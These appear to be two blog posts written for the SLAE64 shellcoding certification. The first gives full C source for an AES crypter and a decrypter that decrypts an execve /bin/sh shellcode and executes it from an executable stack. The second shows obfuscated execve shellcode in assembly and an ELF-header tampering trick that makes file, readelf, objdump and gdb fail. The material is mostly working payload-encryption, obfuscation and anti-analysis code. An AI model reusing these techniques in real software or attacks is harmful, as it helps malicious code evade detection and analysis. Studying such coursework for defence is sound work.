SLAE64 – Assignment #7 – Custom Shellcode Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #7

The aim of this assignment is to create a custom crypter for shellcodes.

Crypter

I’ve chose to use the AES encryption using mcrypt library (apt-get install libmcrypt-dev)

https://gist.github.com/bricef/2436364

1) First you need to dump the shellcode opcodes :

for i in $(objdump -d Execve-Stack |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

2) Then put these opcodes into the crypter code

unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

3) Then, compile crypter (don’t forget the -lmcrypt option) :

gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter

4) Finally, encrypt the shellcode using a symetric key and get the encrypted shellcode

./aes-shellcode-crypter "0123456789abcdef"

Decrypter

1) Put the encrypted opcodes into the decrypter :

unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";

2) Compile the decrypter

gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter

3) Decrypt and run the shellcode by using the same symetric key :

./aes-shellcode-decrypter "0123456789abcdef"

Full source code is available here and on my Github account.

aes-shellcode-crypter.c

/*
 * Compile : gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
  unsigned char *plaintext = shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(plaintext);

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-crypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-crypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  buffer = calloc(1, buffer_len);
  strncpy(buffer, plaintext, buffer_len);

  printf("plain size=%d:\n", strlen(plaintext));
  display_hex(plaintext, strlen(plaintext));

  encrypt(buffer, buffer_len, IV, key, keysize); 

  printf("cipher size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  return 0;
}

aes-shellcode-decrypter.c

/*
 * Compile : gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter
 *
 * Author : SLAE64-PA-6470 (kahlon81)
 * Date : 2018/02/21
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>

#include <math.h>
#include <stdint.h>
#include <stdlib.h>

int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

int decrypt(
    void* buffer,
    int buffer_len,
    char* IV, 
    char* key,
    int key_len 
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}

  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);

  return 0;
}

void display_hex(char* cipher, int len) {
  int v;
  for (v=0; v<len; v++)
    //printf("\\x%2hhX", cipher[v]);
    printf("\\x%02x", cipher[v] & 0xff);
  printf("\n");
}

int main(int argc, char **argv)
{
  MCRYPT td, td2;
  unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";
  unsigned char *encrypted = encrypted_shellcode;
  char* IV = "AAAAAAAAAAAAAAAA";
  char* buffer;
  int buffer_len = strlen(encrypted);
  int (*sc)();

  // check param
  if (argc != 2) {
    printf("Usage : ./aes-shellcode-decrypter <128 bits encryption key>\n");
    printf("Example : ./aes-shellcode-decrypter 0123456789abcdef\n");
    exit(-1);
  }

  // input key
  char *key = (char *)argv[1];
  int keysize = strlen(key);

  printf("encrypt size=%d:\n", strlen(encrypted));
  display_hex(encrypted, strlen(encrypted));

  buffer = calloc(1, buffer_len);
  strncpy(buffer, encrypted, buffer_len);

  decrypt(buffer, buffer_len, IV, key, keysize);

  printf("decrypt size=%d:\n", strlen(buffer));
  display_hex(buffer, buffer_len);

  sc = (int(*)())buffer;
  sc();

  return 0;
}

SLAE64 – Assignment #Bonus – Obfuscated shellcode and unique trick

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :

http://www.securitytube-­training.com/online-­courses/x8664-­assembly-­and-­shellcoding-­on-­linux/index.html

Student ID: PA-6470

Assignment #Bonus

So here are additionnal things I did for fun 🙂

Obfuscated shellcode

First is a shellcode that use some obfuscation techniques like :

  • MMX instructions
  • disalign opcodes to prevent objdump to work
  • additions to hide real values
  • stack to store data instead of data segment
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; $ nasm -f elf64 sc64.nasm -o sc64.o
; $ ld sc64.o -o sc64
;
; 64 bits system exec parameters : 
;
; %rax  System call  %rdi  %rsi  %rdx  %r10  %r8
; 0x3b  sys_execve  const char *filename   const char *const argv[]	const char *const envp[]

global _start
   
_start:
        ; /bin/sh in reverse order is hs/nib/ which is 0x68732f6e69622f in hexa
        ; Obfuscate this value with a simple addition
        ;  68 73 2f 6e 69 62 2f
        ; - 50 53 01 42 4a 50 02  X value
        ; = 18 20 2e 2c 1f 12 2d  Y value
	jmp begin+1	

begin: 
	db 0xe9			    ; E9 is opcode for jmp to disalign disassembly
	
        mov rcx, 0x505301424a5002   ; X value 
	movq mm0, rcx               ; build the string value using MMX for obfuscation
	mov rcx, 0x18202e2c1f122d   ; Y value is padded
	movq mm1, rcx
	paddusb mm0, mm1            ; add mm0 with mm1 (parallel execution) and construct hs/nib/ 
	movq rcx, mm0
	emms                        ; return to FPU mode
	xor rdx, rdx                ; zero out rdx for an execve argument
	mov al, 0x30                ; move 0x30 (execve syscall is 0x3b) into al
	push rcx                    ; push the immediate value stored in rcx onto the stack
	lea rdi, [rsp]              ; load the address of the string that is on the stack into rdi
        add al, 0x0b		    ; move 0x3b into al (execve syscall)
	syscall                     ; make the syscall

 

Unique trick

Second is a technique I found myself as I was working on the Linux ELF format.

I noticed that it’s possible to change some bytes in the ELF file header without altering the normal execution of the program. For instance you can persuade your executable is 32 bits even if in reality it’s a 64 bits one. You can also indicate your binary is made for a big endian platform even if in reality it’s not true. This technique maybe usefull againt reverse engineering.

In order to alterate the header you can use any hexadecimal editor like hexcurse.

The 5th byte defines format 32 bits (1) or 64 bits (2)

The 6th byte defines endianness LSB (1)  MSB (1)

Alterate the ELF header, save and run your shellcode and you’ll see that it’s running like a charm.

However the standard Linux tools such as file, readelf, objdump, gdb ALL FAIL !

file sc64
sc64elf: ELF 32-bit MSB *unknown arch 0x3e00* (SYSV)
En-tête ELF:
  Magique:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 
  Classe:                            ELF32
  Données:                          complément à 2, système à octets de poids fort d'abord (big endian)
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  Version ABI:                       0
  Type:                              : 200
  Machine:                           : 0x3e00
  Version:                           0x1000000
  Adresse du point d'entrée:         0x80004000
  Début des en-têtes de programme :  0 (octets dans le fichier)
  Début des en-têtes de section :    1073741824 (octets dans le fichier)
  Fanions:                           0x0
  Taille de cet en-tête:             53249 (octets)
  Taille de l'en-tête du programme:  0 (octets)
  Nombre d'en-tête du programme:     0
  Taille des en-têtes de section:    0 (octets)
  Nombre d'en-têtes de section:      0
  Table d'indexes des chaînes d'en-tête de section: 0
readelf: AVERTISSEMENT: en-tête ELF peut-être endommagé – il a un offset non nul pour l'en-tête de section mais pas d'en-tête de section
objdump -M intel -D ./sc64
objdump: ./sc64: Fichier tronqué
gdb ./sc64 
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
"/root/shellcodes/./sc64": not in executable format: Fichier tronqué
(gdb)